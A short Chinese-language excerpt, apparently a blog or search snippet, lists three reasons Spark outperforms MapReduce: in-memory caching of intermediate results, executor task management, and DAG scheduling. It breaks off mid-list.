Spark 为什么比 mapreduce 快? 最重要的3点&#xff0c; 数据缓存 : 中间结果可以缓存在内存中复用 资源管理 &#xff1a;executor task 管理&#xff0c;不同stage的task可以运行在同一个executor上 任务调度 : dag 对比多阶段mr 1.任务模型的优化&#xff08;DAG图对比…...